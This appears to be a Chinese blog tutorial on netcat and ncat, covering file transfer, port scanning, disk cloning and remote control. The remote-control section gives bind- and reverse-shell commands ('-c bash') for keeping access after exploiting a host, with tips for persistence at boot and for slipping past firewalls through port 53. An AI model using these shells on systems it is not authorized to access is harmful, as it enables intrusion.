nc、ncat使用

2022-07-27

natcat

[v1.10-41.1+b1]

connect to somewhere: nc [-options] hostname port[s] [ports] …

listen for inbound: nc -l -p port [-options] [hostname] [port]

options:

-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]

-e filename program to exec after connect [dangerous!!]

-b allow broadcasts

-g gateway source-routing hop point[s], up to 8

-G num source-routing pointer: 4, 8, 12, …

-h this cruft

-i secs delay interval for lines sent, ports scanned

-k set keepalive option on socket

-l listen mode, for inbound connects

-n numeric-only IP addresses, no DNS

-o file hex dump of traffic

-p port local port number

-r randomize local and remote ports

-q secs quit after EOF on stdin and delay of secs

-s addr local source address

-T tos set Type Of Service

-t answer TELNET negotiation

-u UDP mode

-v verbose [use twice to be more verbose]

-w secs timeout for connects and final net reads

-C Send CRLF as line-ending

-z zero-I/O mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive];

hyphens in port names must be backslash escaped (e.g. ‘ftp-data’).

  • 可用于电子取证

    实际上是传输文本的能力,可以用于聊天、从被取证对象上收集信息

    pc1:监听4444端口

    nc -l -p 4444
    

    pc2:连接目标网址的4444端口

    nc -nv 10.139.21.74 4444
    
  • 传输文件

    A等B连上并将发送的数据存到1.mp4

    A:

    nc -lp 4444 > 1.mp4
    

    B:

    nc -nv 1.1.1.1 4444 < 1.mp4 -q 1
    

    -q 1 表示发送完1s自动关闭

    A等B连上一连上就向B发送mp4

    A:

    nc -lp 4444 < 1.mp4 -q 1
    

    B:

    nc -nv 1.1.1.1 4444
    
  • 传输目录

    A:

    tar -cvf -music/ | nc -lp 4444 -q 1
    

    B:

    nc -nv 1.1.1.1 4444 | tar -xvf -
    
  • 传输加密文件(使用mcrypt命令)

    A:

    nc -lp 4444 | mcrypt -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    

    B:

    mcrypt -flush -Fbq -a rijndael-256 -m ecb < 1.mp4 | nc -nv 1.1.1.1 4444 -q 1
    
  • 流媒体服务器

    A:

    cat 1.mp4 | nc -lp 4444
    

    B:

    nc -nv 1.1.1.1 4444 | mplayer -vo xll -cache 3000 -
    
  • 端口扫描

    -z:扫描模式,探测端口状态

    nc -nvz 1.1.1.1 1-65535
    

    -u:nc默认扫描tcp,扫描udp需要使用-u

    nc -vnzu 1.1.1.1 1-1024
    

    但我在尝试的时候发现nc多个端口并没有任何回显,不知道是什么原因

  • 远程克隆硬盘

    nc还是只起到传输的作用,关键在于dd命令,会原原本本的复制硬盘,复制每一个1和0,包括已删除的部分

    nc -lp 4444 | dd of=/dev/sda
    dd if=/dev/sda | nc -nv 1.1.1.1 4444 -q 1
    
  • 远程控制

    ​ 在成功通过漏洞进入目标主机后,可以通过这种方式继续保持连接,比如设置脚本在每次开机的时候使用。尤其是反向连接用处很大。

    ​ 因为服务器基本上都配置了防火墙,像很多防护做的不太好的网络管理员也会在防火墙上将由外向内的陌生端口访问全部禁掉。比如只开放80端口,443端口之类的,这种情况下想要在目标主机开放一个端口等待连接,我们基本上是连接不上的(被防火墙过滤)。但是由内向外的访问这些防火墙不会阻止,反向连接就有了用场。

    ​ 有些防护意识很好的管理员会禁用一些由内向外的访问的端口,但是像常用的端口也不会进行拦截,比如DNS解析用的53端口,我们就可以开放53端口等待连接。

    ​ 如果是跑业务的服务器,向外的所有端口都被禁止了,那就没办法了。

    • 正向

      A:

      nc -lp 4444  -c bash
      

      B:

      nc 1.1.1.1 4444
      
    • 反向

      A:

      nc -lp 4444
      

      B:

      nc 1.1.1.1 4444 -c bash
      

      nc是跨平台的,windows这里将bash换为cmd

ncat

nc的缺点:

  • 明文传输,缺乏加密能力,可能遭受到嗅探、中间人的挟持等等等
  • 缺乏身份验证的能力,打开的端口可以被所有人控制,我们留下的通道其他黑客也能使用

ncat是nmap内包含的一个工具,是为了弥补nc的缺陷被开发出来的,使用ncat进行信息传输,传输的管道本身是被加密的

A(被控端):

--allow是指定一个ip,允许这个ip连接

ncat -c bash --allow 1.1.1.1 -vnl 4444 --ssl

B:

ncat -nv 1.1.1.1 4444 --ssl

#